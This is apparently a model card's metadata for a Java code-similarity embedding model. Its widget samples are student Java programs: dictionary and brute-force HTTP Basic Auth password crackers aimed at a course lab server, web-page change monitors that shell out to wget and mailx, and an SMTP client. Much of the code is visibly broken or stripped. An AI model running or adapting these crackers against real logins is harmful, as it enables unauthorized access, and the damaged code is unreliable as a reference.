metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:BatchAllTripletLoss
base_model: uclanlp/plbart-java-cs
widget:
- source_sentence: "\nimport java.io.*;\nimport java.net.*;\n\npublic class Copier\n{\n private URL target;\n\n public Copier( String fileName)\n {\n try\n {\n String line;\n BufferedReader ;\n\t BufferedWriter bout;\n target = new URL( \"http://www.cs.rmit.edu./students\");\n\t InputStream hm = target.openStream();\n\t HttpURLConnection urlcon = ( HttpURLConnection) target.openConnection();\n bf = new BufferedReader( new InputStreamReader( target.openStream()));\n\t bout = new BufferedWriter(new FileWriter(fileName));\n while((line = bf.readLine()) != null)\n {\n bout.write( line+\"\\n\"); \n }\n\t \n\t bout.print();\n }\n catch( Exception e)\n {\n System.out.println(\"Something wrong! \"+e);\n System.exit(0);\n }\n }\n public static void main (String[] args)\n {\n Copier c = new Copier(\"response.html\");\n }\n}\n\n \n \n\n \n\n\n \n\n\t\n"
sentences:
- "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class Dictionary\n{\n\tpublic static void main (String args[])\n\t{\n\t\t\n\t\t\n Calendar cal = Calendar.getInstance();\n Date now=cal.getTime();\n double startTime = now.getTime();\n\n\t\tString password=getPassword(startTime);\n\t\tSystem.out.println(\"The password is \" + password);\n\t}\n\n\tpublic static String getPassword(double startTime)\n\t{\n\t\tString password=\"\";\n\t\tint requests=0;\n\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tFileReader fRead = new FileReader(\"/usr/share/lib/dict/words\");\n\t\t\tBufferedReader buf = new BufferedReader(fRead);\n\n\t\t\tpassword=buf.readLine();\n\n\t\t\twhile (password != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\tif (password.length()<=3)\n\t\t\t\t{\n\t\t\t\t\trequests++;\n\t\t\t\t\tif (testPassword(password, startTime, requests))\n\t\t\t\t\t\treturn password;\n\t\t\t\t}\n\n\t\t\t\tpassword = buf.readLine();\n\n\t\t\t}\n\t\t}\n\t\tcatch (IOException ioe)\n\t\t{\n\n\t\t}\n\n\t\treturn password;\n\t}\n\n\tprivate static boolean testPassword(String password, double startTime, int requests)\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tURL url=new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n\t\t\tHttpURLConnection connection;\n\n \t\tString userPassword = \":\" + password;\n\n \t\t\n \t\tString encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\t\n\t\t\t\tconnection = (HttpURLConnection) url.openConnection();\n\t\t\t\t\n\t\t\t\tconnection.setRequestProperty(\"Authorization\", \" \" + encoding);\n\n\t\t\t\t\n\t\t\t\tint status=connection.getResponseCode();\n\n\t\t\t\tSystem.out.println(password + requests);\n\n\t\t\t\tif (status==200)\n\t\t\t\t{\n\t\t\t\t\tSystem.out.println(\"It took \" + getTime(startTime) + \" milliseconds find the password.\");\n\t\t\t\t\tSystem.out.println(\" were \" + requests + \" requests .\");\n\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\n\t\t\t}\n\n\t\t\tcatch (IOException ioe)\n\t\t\t{\n\t\t\t\tSystem.out.print(ioe);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t}\n\n\t\tcatch (IOException MalformedURLException)\n\t\t{\n\t\t\tSystem.out.print(\"Invalid URL\");\n\t\t\treturn false;\n\t\t}\n\t}\n\n\n\tprivate static double getTime(double startTime)\n\t{\n\t\t\n\t\t\n Calendar cal = Calendar.getInstance();\n Date now=cal.getTime();\n double endTime = now.getTime();\n\n return endTime-startTime;\n\n\t}\n\n}\n"
- "import java.io.*;\nimport java.net.*;\nimport java.util.*;\nimport java.*;\n\n\npublic class WatchDog {\n\n\npublic static final int interval = 79200000;\n\npublic static void main(String[] args) {\n WatchDog wd = new WatchDog();\n Thread thread = new Thread();\n URLConnection conn = null;\n DataInputStream data = null;\n DataInputStream in = null;\n String line;\n String lines;\n String buffer = new String();\n String buffers = new String();\n String url = new String(\"http://www.cs.rmit.edu./students/\");\n boolean change;\n\ttry{\n\tURL myurl = new URL(url);\n conn = myurl.openConnection();\n conn.connect();\n Object content = null;\n \n System.out.println(\"Connection opened......\");\n System.out.println(\"Retrieving data from URL\");\n data = new DataInputStream(new BufferedInputStream(conn.getInputStream()));\n System.out.println(\" data from the URL......\");\n content = myurl.getContent();\n BufferedReader reader = null;\n\treader = new BufferedReader(new InputStreamReader((InputStream) content));\n\n \n while ((line = data.readLine()) != null)\n\n {\n System.out.println(line);\n FileWriter outnew = new FileWriter(\"watchdogresult.html\");\n outnew.write(line);\n }\n System.out.println(\"Waiting for any change....\");\n thread.sleep(79200000);\n conn = myurl.openConnection();\n conn.connect();\n in = new DataInputStream(new BufferedInputStream(conn.getInputStream()));\n while ((lines = in.readLine()) != null)\n {\n\n\t FileWriter newf = new FileWriter(\"watchdogresult.tmp\");\n newf.write(buffers);\n }\n\tchange = true;\n if(change);\n else{\n\tchange = false;\n \n\twd.mail();\n\t}\n}\n catch (InterruptedException e) {}\n catch (IOException e) {\n e.printStackTrace();\n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n }\n else\n System.out.println(\"Other problems\");\n }\n }\n\n\npublic void mail(){\n\n try {\n\n String from = new String(\"Watchdog Reporter\");\n String email = new String(\"@cs.rmit.edu.\");\n String subject = new String(\" is a change in \");\n\n \n URL u = new URL(\"mailto:\" + email);\n URLConnection c = u.openConnection();\n c.setDoInput(false);\n c.setDoOutput(true);\n System.out.println(\"Connecting...\");\n System.out.flush();\n c.connect();\n PrintWriter out =\n new PrintWriter(new OutputStreamWriter(c.getOutputStream()));\n\n \n out.println(\"From: \\\"\" + from + \"\\\" <\" +\n System.getProperty(\"user.name\") + \"@\" +\n InetAddress.getLocalHost().getHostName() + \">\");\n out.println(\": \" );\n out.println(\"Subject: \" + subject);\n out.println(); \n\n \n String line = new String(\"Watchdog observe that is a change in the web .\");\n out.close();\n System.out.println(\"Message sent.\");\n System.out.flush();\n }\n catch (Exception e) {\n System.err.println(e);\n }\n\n }\n\n}\n\n"
- |2-
class BasicAuth {
public BasicAuth() {}
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + ":" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
}
- source_sentence: |-
import java.io.*;
public class Dictionary
{
public static void main(String args[])throws Exception
{
String s = null;
String pass="";
int at=0;
String strLine="";
int i=0;
BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
start =System.currentTimeMillis();
try
{
while((pass=strLine = in.readLine()) != null)
{
if(pass.length()==3)
{
System.out.println(pass);
at++;
Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
p.waitFor();
i = p.exitValue();
if(i==0)
{
finish=System.currentTimeMillis();
float time=finish-start;
System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " );
System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " );
System.exit(0);
}
BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));
System.out.println("Standard output of the command ");
while ((s = stdInput.readLine()) != null)
{
System.out.println(s);
}
System.out.println("Standard error of the command ");
while ((s = stdError.readLine()) != null)
{
System.out.println(s);
}
}
}
System.exit(0);
}
catch (IOException e)
{
System.out.println("Exception happened ");
e.printStackTrace();
System.exit(-1);
}
}
}
sentences:
- |
import java.net.*;
import java.util.*;
public class BruteForce {
public static void main(String[] args) {
new CrackAttempt();
}
}
class CrackAttempt {
public CrackAttempt() {
final int MAX_LENGTH = 3;
boolean auth = false;
Date = new Date();
boolean morePasswords = true;
int passPtr = 0;
StringBuffer validChars = new StringBuffer("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
char[] password = new char[MAX_LENGTH];
password[0] = validChars.charAt(0);
while (!auth && morePasswords) {
String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
try {
Authenticator.setDefault(new CrackAuth(password));
URL url = new URL(resource);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("HEAD");
if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
System.out.println("cracked with " + new String(password));
auth = true;
}
} catch (Exception e) {
System.out.println(" was exception: " + e.getMessage());
}
int count = passPtr;
while (true) {
if (password[count] == validChars.charAt(validChars.length() - 1)) {
password[count] = validChars.charAt(0);
count--;
} else {
password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
break;
}
if (count < 0) {
if (passPtr < MAX_LENGTH - 1) {
passPtr++;
password[passPtr] = validChars.charAt(0);
} else {
morePasswords = false;
}
break;
}
}
}
if (!auth) {
System.out.println("Unable determine password");
} else {
time = (new Date()).getTime() - start.getTime();
System.out.println("it took " + String.valueOf(time) + " milliseconds crack the password");
}
}
}
class CrackAuth extends Authenticator {
char[] password;
public CrackAuth(char[] password) {
this.password = password;
}
protected PasswordAuthentication getPasswordAuthentication()
{
String user = "";
return new PasswordAuthentication(user, password);
}
}
- "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender, String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject, String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\tis = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream = null;\n\n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\tos = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"<EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\tif(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}"
- |
import java.io.*;
import java.net.*;
public class WatchDog
{
public static void main(String args[]) throws InterruptedException, MalformedURLException, IOException
{
final String fullurl = "http://www.cs.rmit.edu./students/";
final int waitperiod = 1000*60*60*24;
final String email = "@cs.rmit.edu.";
lastmodified = 0;
lastmodifiedsave = 0;
boolean first = true;
URL url = new URL(fullurl);
while(true)
{
URLConnection uc = url.openConnection();
lastmodified = uc.getLastModified();
if(first)
{
lastmodifiedsave = lastmodified;
first = false;
Execute ex1 = new Execute("wget -q -nc -O "+fullurl);
}
if(lastmodified != lastmodifiedsave)
{
lastmodifiedsave = lastmodified;
Execute ex2 = new Execute("mv .old");
Execute ex3 = new Execute("wget -q -nc -O "+fullurl);
Execute ex4 = new Execute("echo \"The "+fullurl+" was modified, here the modifications:\" > pagediff");
Execute ex5 = new Execute("diff .old >> pagediff");
Execute ex6 = new Execute("mailx -s \" modification\" \""+email+"\" < pagediff");
System.out.println("Modification notice! Check your mail.");
}
Thread.sleep(waitperiod);
}
}
}
- source_sentence: |
import java.io.*;
import java.util.*;
import java.*;
import java.net.*;
public class WatchDog
{
static Process p = null;
static Process qproc = null;
static BufferedReader bf = null;
static StringTokenizer tok = null;
static String Path = null;
static String str = null;
static String urlStr=null;
static boolean changed = false;
static File indexfile = new File("index.html");
static File tmpfile = new File("tmpindex.html");
static File mdfile = new File("md5file.txt");
static File tmpmdfile = new File("tmpmd5file.txt");
static PrintWriter mailwriter = null;
public static void main(String[] args)
{
urlStr = "http://www.cs.rmit.edu./";
try
{
mailwriter = new PrintWriter(new BufferedWriter(new FileWriter("tomail.txt", false)));
getLatest(urlStr);
parseFile();
mailwriter.read();
if(changed)
{
System.out.println("Sending Mail");
p = Runtime.getRuntime().exec("./mailscript");
p.waitFor();
}
else
System.out.println(" mail sent");
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static void getLatest(String urlStr)
{
URL url = null;
try
{
url = new URL(urlStr);
} catch (MalformedURLException mfurl)
{
System.out.println("Malformed URL");
mfurl.printStackTrace();
}
try
{
mailwriter.println();
p = Runtime.getRuntime().exec("/usr//pwd");
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
Path=bf.readLine();
if (indexfile.exists())
{
mailwriter.println("File with name 'index.html' found in directory.");
mailwriter.println("Renaming existing 'index.html' 'tmpindex.html...");
p = Runtime.getRuntime().exec("/usr//mv "+indexfile+ " " + Path+"/"+tmpfile);
p.waitFor();
p = Runtime.getRuntime().exec("/usr//mv "+mdfile+ " " + Path+"/"+tmpmdfile);
mailwriter.println();
mailwriter.println("File with name 'md5file.txt' found in directory.");
mailwriter.print("Renaming existing 'md5file.txt' 'tmpmd5file.txt...");
mailwriter.println(".");
mailwriter.println();
}
mailwriter.println("Downloading current version of site - " + urlStr);
p = Runtime.getRuntime().exec("/usr/local//wget "+url);
p.waitFor();
if (!tmpfile.exists())
{
mailwriter.println("File - " + urlStr + "index.html saved disk for the first time.");
}
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (IndexOutOfBoundsException iobe)
{
System.out.println("Index Out Of Bounds Exception");
iobe.printStackTrace();
}
catch (Exception e)
{
System.out.println("Exception");
e.printStackTrace();
}
}
static void parseFile()
{
Vector imgVect = new Vector();
try
{
p = Runtime.getRuntime().exec("/usr//grep img " + Path + "/"+ indexfile);
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
while((str=bf.readLine())!=null)
{
bf = new StringTokenizer(str, "\"", false);
while(bf.hasMoreTokens())
{
str=bf.nextToken();
if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
imgVect.addElement(str);
}
}
}catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (Exception e)
{
System.out.println("Exception");
e.printStackTrace();
}
mailwriter.println("Creating file with md5sums of the webpage and images...");
md5Create(imgVect);
}
static void md5Create(Vector imgVect)
{
String tmpString = null;
Vector imgNames = new Vector();
try
{
PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
p=Runtime.getRuntime().exec("/usr/local//md5sum "+indexfile);
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
for(int i=0; i<imgVect.size();i++)
{
imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);
p=Runtime.getRuntime().exec("/usr/local//md5sum "+(String)imgNames.elementAt(i));
p.waitFor();
bf= new BufferedReader(new InputStreamReader(
p.getInputStream()));
pr.println(bf.readLine());
rmImgFile(Path+"/"+(String)imgNames.elementAt(i));
}
pr.get();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
if (tmpmdfile.exists())
compVersions((imgVect.size())+1);
}
static void compVersions(int numlines)
{
int tmp = 0;
int x = 0;
String[] md5A = new String[numlines];
Vector tmpmd5V = new Vector();
String[] tmpmd5A = null;
StringTokenizer stoken = null;
String mdImgName = null;
String mdImgVal = null;
String tmpImgName = null;
String tmpImgVal = null;
try
{
bf = new BufferedReader(new FileReader(mdfile));
while((str = bf.readLine()) != null)
{
md5A[tmp]=str;
tmp++;
}
bf= new BufferedReader(new FileReader(tmpmdfile));
tmp=0;
while ((str = bf.readLine()) !=null)
{
tmpmd5V.addElement(str);
tmp++;
}
tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);
if (tmpmd5A[0].compareTo(md5A[0]) != 0)
{
mailwriter.println("---The file index.html has changed.---");
mailwriter.println("-Diff of old and new -");
changed=true;
mailwriter.println();
p=Runtime.getRuntime().exec("/usr/local//diff index.html tmpindex.html");
p.waitFor();
bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((str = bf.readLine()) != null)
mailwriter.println(str);
}
else
{
mailwriter.println("The file index.html hasn't changed.");
mailwriter.println();
}
mailwriter.println();
mailwriter.println("Changes Images");
mailwriter.println("-----------------");
for (tmp=1; tmp<md5A.length; tmp++)
{
stoken = new StringTokenizer(md5A[tmp]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
for (x=1; x<tmpmd5A.length; x++)
{
stoken = new StringTokenizer(tmpmd5A[x]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
if (mdImgName.compareTo(tmpImgName) == 0)
{
if(mdImgVal.compareTo(tmpImgVal) == 0)
{
break;
}
else
{
mailwriter.println("The image "+mdImgName+" has changed.");
changed=true;
break;
}
}
if (x == ((tmpmd5A.length)-1))
{
mailwriter.println("The image "+mdImgName+" is new this ");
changed=true;
}
}
}
for (tmp=1; tmp<tmpmd5A.length; tmp++)
{
stoken = new StringTokenizer(tmpmd5A[tmp]);
tmpImgVal = stoken.nextToken();
tmpImgName = stoken.nextToken();
for (x=1; x<md5A.length; x++)
{
stoken = new StringTokenizer(md5A[x]);
mdImgVal = stoken.nextToken();
mdImgName = stoken.nextToken();
if (tmpImgName.compareTo(mdImgName) == 0)
{
break;
}
if (x == ((md5A.length)-1))
{
mailwriter.println("The image "+tmpImgName+" is longer the ");
changed=true;
}
}
}
} catch(IOException ioe)
{System.out.println("IOException");
ioe.printStackTrace();
}
catch(InterruptedException iex)
{System.out.println("Interrupted Exception");
iex.printStackTrace();
}
}
static Object getFullPath(String fname)
{
if(fname.charAt(0)== '/')
fname=urlStr+fname;
else if(fname.charAt(0) != 'h')
fname=urlStr+'/'+fname;
getImgFile(fname);
return (Object)fname;
}
static void getImgFile(String fullPath)
{
try
{
qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static void rmImgFile(String delpath)
{
try
{
qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
qproc.waitFor();
} catch (IOException ioe)
{
System.out.println("IOException");
ioe.printStackTrace();
}
catch (InterruptedException intex)
{
System.out.println("Interrupted Exception");
intex.printStackTrace();
}
}
static Object getImgNames(String prsName)
{
String str = new StringTokenizer(prsName, "/", false);
while(bgf.hasMoreTokens())
{
str=bgf.nextToken();
if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
prsName=str;
}
return (Object)prsName;
}
}
sentences:
- "\t\n\n\nimport java.io.*;\nimport java.net.*;\n\nimport java.util.*;\n\nimport java.misc.BASE64Encoder;\n\npublic class Dictionary {\n\n private String userId;\n private String password;\n\n\tReadDictionary myWords = new ReadDictionary();\n\n public Dictionary() {\n\n\t\n\tmyWords.openFile();\n\n \n Authenticator.setDefault (new MyAuthenticator());\n\t\n\t\n }\n\n public String fetchURL (String urlString) {\n\n\n\tStringBuffer sb = new StringBuffer();\n\tHttpURLConnection connection;\n\tDate startTime, endTime;\n\tint responseCode = -1;\n\tboolean retry = true;\t\n\t\n URL url;\n\tstartTime = new Date();\n\t\n System.out.println (\" time :\" + startTime);\n\n\twhile (retry == true)\n\t{\n\t\n\t try {\n\n\t\t\turl = new URL (urlString);\n\n\t\t\tconnection = (HttpURLConnection)url.openConnection();\n\n\t\t\tsetUserId(\"\");\n\t\t\tsetPassword(\"rhk8611\");\n\n\t\t\tSystem.out.println(\"Attempting get a response : \" +connection.getURL() );\n\t\t\tresponseCode = connection.getResponseCode();\n\t\t\tSystem.out.print(responseCode + \" \");\n\n\t\t\tif (responseCode == HttpURLConnection.HTTP_OK) \n\t\t\t{\n\t\t\t\tretry = false;\n\t\t\t\tSystem.out.println(\"**** ACCESS GRANTED *****\");\n\t\t\t} else\n\t\t\t{\n\t\t\t\tretry = true;\n\t\t\t\tthrow new IOException(\n\t\t\t\t\t\"HTTP response : \" + String.valueOf(responseCode) + \n\t\t\t\t\t\"\\nResponse Message: \" +connection.getResponseMessage() );\n\t\t\t}\n\n\t\t\tInputStream content = (InputStream)url.getContent();\n\t\t\tBufferedReader in = \n\t\t\tnew BufferedReader (new InputStreamReader (content));\n\t\t\tString line;\n\t\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t\t\tsb.append (line);\n\t\t\t\t}\n\t\t\t} catch (MalformedURLException e) {\n\t\t\t\t\n\t\t\t\tretry=false;\n\t\t\t\tSystem.out.println (\"Invalid URL\" + e.getMessage());\n\t\t\t} catch (IOException e) {\n\t\t\t\t\n\t\t\t\tretry=true;\n\t\t\t\tconnection = null;\n\t\t\t\tSystem.out.println (\"Error URL \\n\" + e.getMessage());\n\t\t\t}\n\t\t}\t\n\t\tendTime = new Date();\n\t\tSystem.out.println (\"Total time taken (Sec) :\" + (endTime.getTime() - startTime.getTime())/1000);\n\t\t\n\t\t\n\treturn sb.toString();\n }\n\n\n public static void main (String args[]) {\n\tDictionary myGenerator = new Dictionary();\n\t\nString pageFound = myGenerator.fetchURL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t\n\tSystem.out.println(\" ACCESSED ->\\n\" + pageFound);\n }\n\n class MyAuthenticator extends Authenticator {\n protected PasswordAuthentication getPasswordAuthentication()\n\t{\n\t\tString username = getUserId();\n\t\tString pass = myWords.readLine();\t\n\n\t System.out.println(\" Authenticating with -> \" + pass);\n\n\t return new PasswordAuthentication (username, pass.toCharArray());\n\t \n }\n }\n\t\n\tpublic String getPassword()\n\t{\n\t\treturn this.password;\n\t}\n\n\tpublic void setPassword(String password)\n\t{\n\t\tthis.password = password;\n\t}\n\n\t\n\tpublic String getUserId()\n\t{\n\t\treturn this.userId;\n\t}\n\n\tpublic void setUserId(String userId)\n\t{\n\t\tthis.userId = userId;\n\t}\n\n\n\n\n} \n\n\n"
- |
package java.httputils;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;
public class WatchDog
{
protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
protected int interval = 24;
protected String URL = "http://www.cs.rmit.edu./students/";
protected String fileName = "WatchDogContent.html";
protected String command = "./alert_mail.sh";
protected String savedContent;
protected String retrievedContent;
public WatchDog()
{
super();
}
public void run() throws Exception
{
HttpRequestClient client = null;
System.out.println(getClass().getName() +
"Retrieving baseline copy of: " + getURL());
client = new HttpRequestClient(getURL());
retrievedContent = client.getContent().toString();
System.out.println(getClass().getName() +
"Writing baseline content : " + getFileName());
writeFile();
while (true)
{
System.out.println(getClass().getName() +
" Sleeping for hours: " + getInterval());
Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval());
System.out.println(getClass().getName() +
" Retrieving: " + getURL());
client = new HttpRequestClient(getURL());
retrievedContent = client.getContent().toString();
System.out.println(getClass().getName() +
" saved copy: " + getURL());
savedContent = readFile();
System.out.println(getClass().getName() +
" Comparing saved and retrieved. ");
if (!savedContent.equals(retrievedContent))
{
System.out.println(getClass().getName() +
" Difference found. ");
writeTempFile();
runCommand();
}
writeFile();
}
}
public String runCommand()
{
String cmd = getCommand() + " \"" + getURL() + "\"";
try
{
Runtime r = Runtime.getRuntime();
System.out.println(getClass().getName() +
" Executing: " + cmd);
Process proc = r.exec(cmd);
}
catch (Exception e)
{
try
{
Runtime r = Runtime.getRuntime();
Process proc = r.exec(cmd);
}
catch (Exception ex)
{
System.out.println(getClass().getName()
+ " Could not run :"
+ getCommand()
+ " because : "
+ ex.getMessage());
}
}
return "Executed successfully";
}
protected String readFile() throws FileNotFoundException
{
BufferedInputStream input = null;
FileInputStream file = null;
StringBuffer content = new StringBuffer();
try
{
file = new FileInputStream(getFileName());
input = new BufferedInputStream(file);
}
catch (FileNotFoundException x)
{
System.err.println("File not found: " + getFileName());
throw x;
}
try
{
int ch;
while ((ch = input.get()) != -1)
{
content.append((char)ch);
}
}
catch (IOException x)
{
x.printStackTrace();
}
finally
{
if (input != null)
{
try
{
input.get();
file.get();
}
catch (IOException e)
{
}
}
}
return content.toString();
}
protected void writeFile() throws Exception
{
OutputStream os = null;
try
{
os = new BufferedOutputStream(
new FileOutputStream(getFileName(), false));
os.write(getRetrievedContent().getBytes());
}
catch (FileNotFoundException e)
{
e.printStackTrace();
throw e;
}
catch (IOException e)
{
e.printStackTrace();
throw e;
}
finally
{
if (os != null)
{
try
{
os.close();
}
catch (IOException e)
{
}
}
}
}
protected void writeTempFile() throws Exception
{
OutputStream os = null;
try
{
os = new BufferedOutputStream(
new FileOutputStream(".html", false));
os.write(getRetrievedContent().getBytes());
}
catch (FileNotFoundException e)
{
e.printStackTrace();
throw e;
}
catch (IOException e)
{
e.printStackTrace();
throw e;
}
finally
{
if (os != null)
{
try
{
os.close();
}
catch (IOException e)
{
}
}
}
}
public static void main(String[] args)
{
WatchDog watchDog = new WatchDog();
if (args.length < 3)
{
watchDog.printUsage();
}
System.out.println(watchDog.getClass().getName() +
": Initialising with " +
args[0] + " \n" +
args[1] + " \n" +
args[2] + " \n");
watchDog.setURL(args[0]);
watchDog.setInterval(Integer.parseInt(args[1]));
watchDog.setCommand(args[2]);
try
{
System.out.println(watchDog.getClass().getName() + ": Invoking the run method.");
watchDog.run();
}
catch (Exception e)
{
e.printStackTrace();
}
}
public String printUsage()
{
StringBuffer s = new StringBuffer();
s.append("** WatchDog proper usage **\n\n");
s.append(
this.getClass().getName() +
" <URL> <interval> <Command execute>\n\n");
return s.toString();
}
public String getCommand()
{
return command;
}
public String getFileName()
{
return fileName;
}
public int getInterval()
{
return interval;
}
public String getURL()
{
return URL;
}
public void setCommand(String string)
{
command = string;
}
public void setFileName(String string)
{
fileName = string;
}
public void setInterval(int i)
{
interval = i;
}
public void setURL(String string)
{
URL = string;
}
public String getRetrievedContent()
{
return retrievedContent;
}
public String getSavedContent()
{
return savedContent;
}
public void setRetrievedContent(String string)
{
retrievedContent = string;
}
public void setSavedContent(String string)
{
savedContent = string;
}
}
